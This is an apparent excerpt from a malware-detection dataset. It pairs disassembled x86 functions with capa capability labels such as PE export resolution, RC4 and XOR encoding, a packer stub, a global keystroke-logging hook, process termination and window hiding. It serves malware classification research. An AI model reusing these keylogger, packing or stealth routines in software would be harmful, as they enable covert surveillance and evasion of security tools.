joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5afab0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x5afc88
sub esp, 0x40
lea eax, [0x7ac140]
mov dword [esp], eax
mov dword [esp + 4], 0
mov ecx, dword [esp + 0x5c]
mov edx, dword [esp + 0x68]
lea ebx, [edx + ecx]
mov dword [esp + 0x30], ebx
mov dword [esp + 8], ebx
call fcn.0043a890
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x5c]
mov edx, dword [esp + 0x30]
cmp ecx, edx
ja 0x5afc55
mov dword [esp + 0x38], eax
mov dword [esp + 0x34], edx
mov dword [esp], eax
mov ebx, dword [esp + 0x58]
mov dword [esp + 4], ebx
mov dword [esp + 8], ecx
call fcn.0044f8d0
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x34]
cmp eax, ecx
ja 0x5afc22
mov edx, dword [esp + 0x38]
mov dword [esp + 0x34], ecx
mov dword [esp + 0x38], edx
mov eax, dword [esp + 0x5c]
add eax, edx
mov dword [esp], eax
mov eax, dword [esp + 0x64]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x68]
mov dword [esp + 8], eax
call fcn.0044f8d0
lea eax, [0x7ac140]
mov dword [esp], eax
mov dword [esp + 4], 0x30
mov dword [esp + 8], 0x30
call fcn.0043a890
mov eax, dword [esp + 0xc]
mov dword [esp + 0x3c], eax
nop
movzx ecx, word [esp + 0x44]
mov word [esp], cx
mov ecx, dword [esp + 0x48]
mov dword [esp + 4], ecx
call fcn.005af9d0
mov edx, dword [esp + 8]
mov eax, dword [esp + 0x3c]
mov dword [esp], eax
mov dword [esp + 4], 0x30
mov dword [esp + 8], 0x30
mov ecx, dword [esp + 0x4c]
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0x50]
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x54]
mov dword [esp + 0x14], ecx
mov ecx, dword [str.master_secret]
mov ebx, dword [0xb77104]
mov ebp, dword [0xb77108]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebp
mov ecx, dword [esp + 0x38]
mov dword [esp + 0x24], ecx
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x28], ecx
mov ecx, dword [esp + 0x34]
mov dword [esp + 0x2c], ecx
mov ecx, dword [edx]
call ecx
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x70], eax
mov dword [esp + 0x74], 0x30
mov dword [esp + 0x78], 0x30
add esp, 0x40
ret
lea edx, [0x7ac140]
mov dword [esp], edx
mov ebx, dword [esp + 0x38]
mov dword [esp + 4], ebx
mov ebx, dword [esp + 0x5c]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
call fcn.0043a950
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x1c]
jmp 0x5afb36
lea ebx, [0x7ac140]
mov dword [esp], ebx
mov dword [esp + 4], eax
mov dword [esp + 8], 0
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
call fcn.0043a950
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x5c]
jmp 0x5afb06
call fcn.0044d880
jmp fcn.005afab0
Function at 0x66a410
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x66a548
sub esp, 0x1c
mov eax, dword [esp + 0x24]
test eax, eax
je 0x66a53f
xor ecx, ecx
jmp 0x66a441
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jge 0x66a536
mov edx, dword [esp + 0x20]
movzx ebx, byte [edx + ecx]
cmp ebx, 0x80
jge 0x66a519
inc ecx
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ecx
nop
lea eax, [0x81f344]
mov dword [esp], eax
mov dword [esp + 4], 0x1b
mov dword [esp + 8], ebx
call fcn.004cf5d0
mov eax, dword [esp + 0xc]
test eax, eax
jge 0x66a439
nop
mov eax, dword [esp + 0x14]
cmp eax, 0xff
ja 0x66a4f6
movzx ecx, al
lea edx, [0xb4fc40]
movzx ecx, byte [edx + ecx]
test cl, 0x60
setne cl
test cl, cl
je 0x66a4bb
xor eax, eax
test al, al
je 0x66a439
mov byte [esp + 0x28], 0
add esp, 0x1c
ret
nop
cmp eax, 0xff
jg 0x66a4d7
cmp eax, 0x30
jl 0x66a4d3
cmp eax, 0x39
setle al
xor eax, 1
jmp 0x66a4ae
xor eax, eax
jmp 0x66a4ce
mov ecx, dword [0xb76b54]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00465140
movzx eax, byte [esp + 8]
lea edx, [0xb4fc40]
jmp 0x66a4ce
mov ecx, dword [0xb76bfc]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00465140
movzx ecx, byte [esp + 8]
mov eax, dword [esp + 0x14]
lea edx, [0xb4fc40]
jmp 0x66a4a8
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], ecx
call fcn.00449b40
mov ebx, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
jmp 0x66a45e
mov byte [esp + 0x28], 1
add esp, 0x1c
ret
mov byte [esp + 0x28], 0
add esp, 0x1c
ret
call fcn.0044d880
jmp fcn.0066a410
Function at 0x6f0910
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x6f0b13
sub esp, 0x74
mov eax, dword [esp + 0x78]
mov dword [esp], eax
call fcn.006efc30
movzx eax, byte [esp + 4]
test al, al
je 0x6f0b00
nop
mov ecx, dword [esp + 0x78]
mov edx, dword [ecx + 0xc8]
mov ebx, dword [ecx + 0xc4]
mov ebp, dword [ecx + 0xc0]
mov eax, ecx
lea ecx, [ebx + 1]
cmp ecx, edx
ja 0x6f0aa2
lea ecx, [ebx + 1]
mov dword [eax + 0xc4], ecx
lea ecx, [ebx + ebx*4]
lea edi, [ebp + ecx*4]
lea esi, [0x8b34f0]
call fcn.0044f6ae
inc dword [eax + 0x90]
mov byte [eax + 0xbc], 1
mov ecx, dword [eax + 0x88]
mov dword [esp + 0x28], ecx
mov edx, dword [eax + 0x84]
mov ebx, dword [eax + 0x80]
nop
lea ebp, [ebx + 1]
mov dword [eax + 0x80], ebp
mov esi, ebp
mov ebp, dword [eax + 0x88]
inc ebp
mov dword [eax + 0x88], ebp
dec dword [eax + 0x64]
mov edi, ebp
mov ebp, dword [eax + 0x54]
mov ecx, dword [eax + 0x60]
cmp dword [eax + 0x58], ecx
jbe 0x6f0b0c
nop
movzx ebp, byte [ebp + ecx]
xchg ebp, eax
test al, 0x80
xchg ebp, eax
jne 0x6f0a4f
mov ebp, 1
add ecx, ebp
mov dword [eax + 0x60], ecx
mov ecx, dword [eax + 0x84]
mov dword [esp + 0x24], ecx
mov ebp, edi
lea edi, [esp + 0x2c]
xor eax, eax
call fcn.0044f1be
mov ecx, dword [esp + 0x7c]
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], edx
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x38], ecx
mov dword [esp + 0x3c], esi
mov ecx, dword [esp + 0x24]
mov dword [esp + 0x40], ecx
mov dword [esp + 0x44], ebp
mov ecx, dword [esp + 0x78]
mov dword [esp], ecx
mov dword [esp + 4], 0xffffffff
lea ecx, [esp + 0x2c]
mov dword [esp + 8], ecx
call fcn.006df980
mov byte [esp + 0x80], 1
add esp, 0x74
ret
xchg ebp, eax
mov byte [esp + 0x23], al
xchg ebp, eax
and ebp, 0xffffffe0
xchg ebp, eax
cmp al, 0xc0
xchg ebp, eax
jne 0x6f0a69
mov ebp, 2
jmp 0x6f09e3
movzx ebp, byte [esp + 0x23]
and ebp, 0xfffffff0
xchg ebp, eax
cmp al, 0xe0
xchg ebp, eax
jne 0x6f0a82
mov ebp, 3
jmp 0x6f09e3
movzx ebp, byte [esp + 0x23]
and ebp, 0xfffffff8
xchg ebp, eax
cmp al, 0xf0
xchg ebp, eax
jne 0x6f0a9b
mov ebp, 4
jmp 0x6f09e3
xor ebp, ebp
jmp 0x6f09e3
lea eax, [0x7e1d80]
mov dword [esp], eax
mov dword [esp + 4], ebp
mov dword [esp + 8], ebx
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
call fcn.0043a950
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ebx, dword [esp + 0x78]
mov dword [ebx + 0xc8], edx
mov edx, dword [0xb91180]
test edx, edx
jne 0x6f0af3
mov dword [ebx + 0xc0], eax
mov ebx, ecx
mov ebp, eax
mov eax, dword [esp + 0x78]
jmp 0x6f0966
lea edi, [ebx + 0xc0]
call fcn.0044f0d0
jmp 0x6f0ae6
mov byte [esp + 0x80], 0
add esp, 0x74
ret
call fcn.004287c0
ud2
call fcn.0044d880
jmp fcn.006f0910
Function at 0x6ffe70
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x700090
sub esp, 0x30
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
nop
mov eax, dword [esp + 0x34]
mov dword [esp], eax
mov eax, dword [esp + 0x38]
mov dword [esp + 4], eax
call fcn.0048dc40
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 8]
test ecx, ecx
je 0x70007a
xor edx, edx
test ecx, ecx
jne 0x700060
mov dword [esp + 0x24], 0
mov dword [esp], edx
lea eax, [esp + 0x24]
mov dword [esp + 4], eax
call fcn.007000a0
mov eax, dword [esp + 8]
test eax, eax
jne 0x700034
mov dword [esp], 8
lea eax, [0x835778]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 8], eax
call fcn.00428a60
test eax, eax
jne 0x70002a
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 0xc]
test byte [eax], al
mov dword [esp], eax
mov dword [esp + 4], 0x2000
mov dword [esp + 8], 0x2000
call fcn.0048dd80
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 0x10]
test byte [eax], al
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x20], ecx
mov edx, dword [esp + 0xc]
mov dword [esp + 0x2c], edx
mov dword [esp], eax
mov dword [esp + 4], 0x2000
mov dword [esp + 8], 0x2000
call fcn.0048dd80
mov eax, dword [esp + 0xc]
mov dword [esp + 0x28], eax
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x1c], ecx
lea edx, [0x7ed220]
mov dword [esp], edx
call fcn.00409f80
mov eax, dword [esp + 0x24]
mov eax, dword [eax]
mov ecx, dword [esp + 4]
mov dword [ecx], eax
mov eax, dword [esp + 0x24]
movzx eax, word [eax + 4]
mov word [ecx + 4], ax
mov eax, dword [esp + 0x24]
movzx eax, word [eax + 6]
mov word [ecx + 6], ax
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 8]
mov dword [ecx + 8], eax
mov eax, dword [esp + 0x20]
mov dword [ecx + 0x10], eax
mov eax, dword [0xb91180]
test eax, eax
jne 0x70001c
mov edx, dword [esp + 0x2c]
mov dword [ecx + 0xc], edx
mov edx, dword [esp + 0x1c]
mov dword [ecx + 0x18], edx
mov edx, dword [0xb91180]
test edx, edx
jne 0x70000e
mov eax, dword [esp + 0x28]
mov dword [ecx + 0x14], eax
mov dword [esp + 0x3c], ecx
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
nop
call fcn.00429230
add esp, 0x30
ret
lea edi, [ecx + 0x14]
mov eax, dword [esp + 0x28]
call fcn.0044f0d0
jmp 0x6ffff0
lea edi, [ecx + 0xc]
mov eax, dword [esp + 0x2c]
call fcn.0044f0d0
jmp 0x6fffd8
nop
call fcn.00429230
add esp, 0x30
ret
mov dword [esp], eax
call fcn.004078c0
mov eax, dword [esp + 4]
mov dword [esp + 0x3c], 0
lea ecx, [0x8b4eb0]
mov dword [esp + 0x40], ecx
mov dword [esp + 0x44], eax
nop
call fcn.00429230
add esp, 0x30
ret
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], ecx
mov dword [esp + 0x44], eax
nop
call fcn.00429230
add esp, 0x30
ret
test edx, edx
jbe 0x700089
mov edx, ebx
xor eax, eax
xor ecx, ecx
jmp 0x6ffed0
call fcn.004287c0
ud2
call fcn.0044d880
jmp fcn.006ffe70
Function at 0x711890
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x711a28
sub esp, 0x70
lea edi, [esp + 0x40]
xor eax, eax
call fcn.0044f1c4
lea ecx, [0x802360]
mov dword [esp], ecx
mov ecx, dword [esp + 0x78]
mov dword [esp + 4], ecx
lea ecx, [esp + 0x40]
mov dword [esp + 8], ecx
call fcn.0040bd90
jmp 0x7119d3
mov ecx, dword [esp + 0x2c]
lea eax, [ecx + 1]
mov ecx, dword [esp + 0x20]
cmp eax, ecx
jge 0x7119c7
mov dword [esp + 0x2c], eax
mov ecx, dword [esp + 0x30]
lea edx, [ecx + eax*8]
mov ebx, dword [edx + 4]
mov dword [esp + 0x24], ebx
mov edx, dword [edx]
mov dword [esp + 0x34], edx
nop
nop
mov ebp, dword [esp + 0x38]
mov dword [esp], ebp
mov esi, dword [esp + 0x28]
mov dword [esp + 4], esi
call fcn.005d0080
lea eax, [0x7ec360]
mov dword [esp], eax
mov ecx, dword [esp + 0x74]
mov dword [esp + 4], ecx
call fcn.0040f670
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
mov ebx, dword [eax]
lea ebp, [edx + 1]
cmp ebp, ecx
ja 0x711977
lea ecx, [edx + 1]
mov dword [eax + 4], ecx
lea ecx, [ebx + edx*8 + 4]
mov ebp, dword [esp + 0x24]
mov dword [ecx], ebp
mov ecx, dword [0xb91180]
lea edi, [ebx + edx*8]
test ecx, ecx
jne 0x711969
mov eax, dword [esp + 0x34]
mov dword [edi], eax
jmp 0x7118d7
mov eax, dword [esp + 0x34]
call fcn.0044f0d0
jmp 0x7118d7
mov dword [esp + 0x3c], eax
lea eax, [0x7abe80]
mov dword [esp], eax
mov dword [esp + 4], ebx
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ebp
call fcn.0043a950
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov edi, dword [esp + 0x3c]
mov dword [edi + 8], edx
mov edx, dword [0xb91180]
test edx, edx
jne 0x7119c0
mov dword [edi], eax
mov edx, ecx
mov ebx, eax
mov eax, edi
jmp 0x711941
call fcn.0044f0d0
jmp 0x7119b8
lea eax, [esp + 0x40]
mov dword [esp], eax
call fcn.0040c010
mov eax, dword [esp + 0x40]
test eax, eax
je 0x711a24
mov ecx, dword [esp + 0x44]
mov edx, dword [eax]
mov dword [esp + 0x38], edx
mov ebx, dword [ecx + 4]
mov dword [esp + 0x20], ebx
mov ecx, dword [ecx]
mov dword [esp + 0x30], ecx
mov eax, dword [eax + 4]
mov dword [esp + 0x28], eax
nop
nop
mov dword [esp], edx
mov dword [esp + 4], eax
call fcn.005d0080
lea eax, [0x7ec360]
mov dword [esp], eax
mov ecx, dword [esp + 0x74]
mov dword [esp + 4], ecx
call fcn.0040fa30
xor eax, eax
jmp 0x7118de
add esp, 0x70
ret
call fcn.0044d880
jmp fcn.00711890
Function at 0x753270
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
lea eax, [esp - 8]
cmp eax, dword [ecx + 8]
jbe 0x753457
sub esp, 0x88
mov eax, dword [esp + 0x8c]
movzx eax, byte [eax]
test al, al
je 0x75338b
xor eax, eax
xor ecx, ecx
mov dword [esp], ecx
mov dword [esp + 4], eax
mov eax, dword [esp + 0x94]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x98]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x9c]
mov dword [esp + 0x10], eax
movzx eax, byte [esp + 0x90]
mov byte [esp + 0x14], al
call fcn.0072b5f0
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
test eax, eax
je 0x75335a
je 0x7532f0
mov eax, dword [eax + 4]
mov dword [esp + 0x48], 0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x54], 0
lea edx, [0x7abe80]
mov dword [esp + 0x48], edx
lea edx, [0x8ad428]
mov dword [esp + 0x4c], edx
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], ecx
lea eax, [0x81e3a7]
mov dword [esp], eax
mov dword [esp + 4], 0x19
lea eax, [esp + 0x48]
mov dword [esp + 8], eax
mov dword [esp + 0xc], 2
mov dword [esp + 0x10], 2
call fcn.00753200
nop
mov ecx, dword [0xb91180]
test ecx, ecx
jne 0x753378
lea eax, [0x835954]
mov dword [0xb77d10], eax
add esp, 0x88
ret
lea edi, [0xb77d10]
lea eax, [0x835954]
call fcn.0044f0d0
jmp 0x753371
call fcn.00713820
lea edi, [esp + 0x58]
mov esi, esp
call fcn.0044f668
mov dword [esp + 0x30], 0
mov dword [esp + 0x34], 0
lea eax, [0x7abe80]
mov dword [esp + 0x30], eax
lea ecx, [0x8ad3d8]
mov dword [esp + 0x34], ecx
lea ecx, [0x814bc3]
mov dword [esp], ecx
mov dword [esp + 4], 6
lea ecx, [esp + 0x30]
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 1
call fcn.004bd7c0
mov eax, dword [esp + 0x7c]
mov ecx, dword [esp + 0x78]
mov edx, dword [esp + 0x18]
mov ebx, dword [esp + 0x14]
mov dword [esp + 0x38], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x38], ecx
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], edx
nop
lea eax, [esp + 0x38]
mov dword [esp], eax
mov dword [esp + 4], 2
mov dword [esp + 8], 2
call fcn.00584c00
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
jmp 0x7532a6
call fcn.0044d880
jmp fcn.00753270
Function at 0x753470
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
lea eax, [esp - 0x28]
cmp eax, dword [ecx + 8]
jbe 0x753694
sub esp, 0xa8
lea edi, [esp + 0xb0]
xor eax, eax
call fcn.0044f1cb
mov ecx, dword [esp + 0xac]
movzx ecx, byte [ecx]
test cl, cl
jne 0x75367b
nop
mov dword [0xb77d0c], 0x1f
mov ecx, dword [0xb91180]
test ecx, ecx
jne 0x753665
lea eax, [0x8222b6]
mov dword [0xb77d08], eax
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0
lea eax, [0x7abe80]
mov dword [esp + 0x3c], eax
lea ecx, [0x8ad478]
mov dword [esp + 0x40], ecx
lea ecx, [0x814f47]
mov dword [esp], ecx
mov dword [esp + 4], 7
lea ecx, [esp + 0x3c]
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 1
call fcn.004bd7c0
mov eax, dword [esp + 0x18]
mov dword [esp + 0x30], eax
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x34], ecx
call fcn.00713820
lea edi, [esp + 0x78]
mov esi, esp
call fcn.0044f668
mov eax, dword [esp + 0x8c]
mov ecx, dword [esp + 0x88]
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x44], ecx
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 0x4c], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 0x50], eax
nop
lea eax, [esp + 0x44]
mov dword [esp], eax
mov dword [esp + 4], 2
mov dword [esp + 8], 2
call fcn.00584c00
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.006fdd10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x38], ecx
lea esi, [esp + 8]
lea edi, [esp + 0x64]
call fcn.0044f6ae
test eax, eax
je 0x75364e
je 0x7535e0
mov eax, dword [eax + 4]
mov dword [esp + 0x54], 0
mov dword [esp + 0x58], 0
mov dword [esp + 0x5c], 0
mov dword [esp + 0x60], 0
lea ecx, [0x7abe80]
mov dword [esp + 0x54], ecx
lea ecx, [0x8ad4b8]
mov dword [esp + 0x58], ecx
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 0x38]
mov dword [esp + 0x60], eax
lea eax, [0x81bdbb]
mov dword [esp], eax
mov dword [esp + 4], 0x15
lea eax, [esp + 0x54]
mov dword [esp + 8], eax
mov dword [esp + 0xc], 2
mov dword [esp + 0x10], 2
call fcn.00753200
lea edi, [esp + 0xb0]
lea esi, [esp + 0x64]
call fcn.0044f6ae
add esp, 0xa8
ret
lea edi, [0xb77d08]
lea eax, [0x8222b6]
call fcn.0044f0d0
jmp 0x7534d5
lea edi, [esp + 0xb0]
lea esi, [0x8b5190]
call fcn.0044f6ae
add esp, 0xa8
ret
call fcn.0044d880
jmp fcn.00753470
Function at 0x5e3126
Capabilities:
Encode data using xor

Disassembly:
mov al, byte [0xa81a453d]
enter 0xffffffffffffdcd3, 0xffffffffffffffe0
push eax
xchg ebp, eax
scasb al, byte es:[edi]
mov cl, 0xd
push ebp
mov al, byte [0xac18f53d]
dec esp
dec edi
std
lahf
cmp eax, 0x34f7ded2
and bh, byte [0x53d23c91]
and al, 0xba
mov bh, 0x54
scasd eax, dword es:[edi]
mov cl, 0xc6
push ebx
mov al, byte [0x9c1a453d]
invalid
add cl, byte [edx + edi + 0x24]
imul ecx, edi, 0xb7f26733
push esp
mov bh, 0x54
mov al, byte [0x9f2ad232]
les ebp, [edx + esi*2 + 9]
aas
xor esi, ebx
bound ebx, qword [esi]
xchg edx, eax
loope 0x5e3170
dec byte [esi + 0x1f]
scasb al, byte es:[edi]
insd dword es:[edi], dx
loop 0x5e30cd
mov ah, 0x4c
dec esi
or ah, byte [eax + 0x780cd23d]
dec esp
dec esi
add ah, byte [eax + 0x5ed6d23d]
push cs
fld dword [eax]
scasb al, byte es:[edi]
cmp eax, 0x3daed7e1
rcl byte [ebx - 0x61], cl
or dh, byte [edi - 0x2cc6e729]
bound esp, qword [ecx]
das
rcl byte [ebx - 0x60], cl
invalid
push ebx
mov al, byte [0xf726dcc6]
out 0xd0, al
push edx
cmp dh, dh
std
add byte [esi - 0x69c1e924], ch
cmp al, 0xd2
push ebx
mov al, byte [0xe5d820b4]
stosb byte es:[edi], al
imul ecx, dword [edx + 0x3d], 0x706534d2
xor ebp, dword [edi + ebx*4]
les ebp, [edx + esi*2 + 9]
aas
xor esi, ebx
bound ebx, qword [esi]
xchg edx, eax
loope 0x5e31d0
dec byte [esi + 0x1f]
scasb al, byte es:[edi]
insd dword es:[edi], dx
loop 0x5e312d
mov ah, 0x4c
dec esi
outsb dx, byte [esi]
mov al, byte [0x780cd23d]
dec esp
js 0x5e31ff
dec esi
mov al, byte [0xf726d23d]
out 0xd3, al
push edx
cmp dh, dh
std
add byte [esi + 0x723e16dc], ch
cmp al, 0xd2
push ebx
mov al, byte [0xe5d820b4]
xor ebx, dword ds:[eax - 0x27df3362]
sahf
int3
and al, bl
in eax, 0x3e
xor ebx, dword [eax - 0x27df3362]
sahf
int3
and al, bl
cwde
in eax, 0x3e
loope 0x5e31b1
movsd dword es:[edi], dword [esi]
cmp eax, 0xb46753d2
and al, 0xd8
in eax, 0x3e
rcl byte [ebx - 0x60], cl
cmp eax, 0x3d4bb3aa
rcl byte [esi - 0x27df3362], cl
in eax, 0x3e
loope 0x5e31cd
movsd dword es:[edi], dword [esi]
cmp eax, 0xb46753d2
and al, 0xd8
in eax, 0x3e
rcl byte [ebx - 0x60], cl
invalid
invalid
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43001e
popal
nop
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x1000289b
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
push dword [ebp + 8]
xor eax, eax
call dword [0x100e6e09]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x100028de
push 0x2b
push 0x40580ba
push 6
call fcn.100abddd
add esp, 0xc
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
fstp qword [ebp - 0x18]
fld qword [ebp - 0x18]
fadd qword [0x100d4302]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
call fcn.10001713
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x184
call fcn.100adb40
add esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10002931
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10002967
push 0x84
push 0x40580ba
push 6
call fcn.100abddd
add esp, 0xc
mov eax, dword [ebp - 8]
test eax, eax
je 0x10002983
push eax
mov ebx, eax
call fcn.1000103a
inc eax
push eax
call fcn.100abdd1
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x10002988
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10002999
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4

Function at 0x100033ab
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [ebp + 0xc], 0
jne 0x100033c6
call fcn.10001f54
mov dword [ebp + 8], eax
mov dword [ebp - 4], esp
push dword [ebp + 8]
push 0
push 1
xor eax, eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
nop
nop
cmp dword [ebp - 4], esp
je 0x100033fc
push 0x92
push 0x4058124
push 6
call fcn.100abddd
add esp, 0xc
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 0
push dword [ebp - 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10003430
push 0x92
push 0x4058124
push 6
call fcn.100abddd
add esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
mov eax, 0
sete al
jmp 0x10003444
mov esp, ebp
pop ebp
ret 8
Function at 0x10003662
Capabilities:
Log keystrokes via application hook
Set global application hook

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [0x100e6bf1], 1
push reloc.WS2_32.dll_connect
push 0
push str.C:ProgramDataMicrosoftWindowsGameExplorergh_key
push 1
mov ebx, 0x24c
call fcn.100adc80
add esp, 0x10
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x100036ca
push reloc.WS2_32.dll_getpeername
push 0
push 0x100d42b8
push reloc.WS2_32.dll_connect
push 0
push str.C:ProgramDataMicrosoftWindowsGameExplorergh_key
push 2
mov ebx, 0x26c
call fcn.100adc90
add esp, 0x1c
push 0
push 0
push 0
push 0x80000301
push 0
push 3
push reloc.WS2_32.dll_connect
push 0
push str.C:ProgramDataMicrosoftWindowsGameExplorergh_key
push 3
mov ebx, 0x270
call fcn.100add30
add esp, 0x28
mov dword [0x100e6bf5], eax
push reloc.WS2_32.dll_getsockname
push 0
push sym.dll.dll_CallKeyHookProc
push 1
mov ebx, 0x164
call fcn.100ade20
add esp, 0x10
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
mov dword [ebp - 0xc], esp
push 0
push 0
fld qword [ebp - 8]
call fcn.10001713
push eax
push 0xd
xor eax, eax
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10003764
push 0x181
push 0x4048bc9
push 6
call fcn.100abddd
add esp, 0xc
mov dword [0x100e6bf9], eax
mov esp, ebp
pop ebp
ret
Function at 0x100091ba
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call fcn.10009200
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 0
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
cmp dword [ebp - 8], esp
je 0x100091fc
push 0x12
push 0x4058117
push 6
call fcn.100abddd
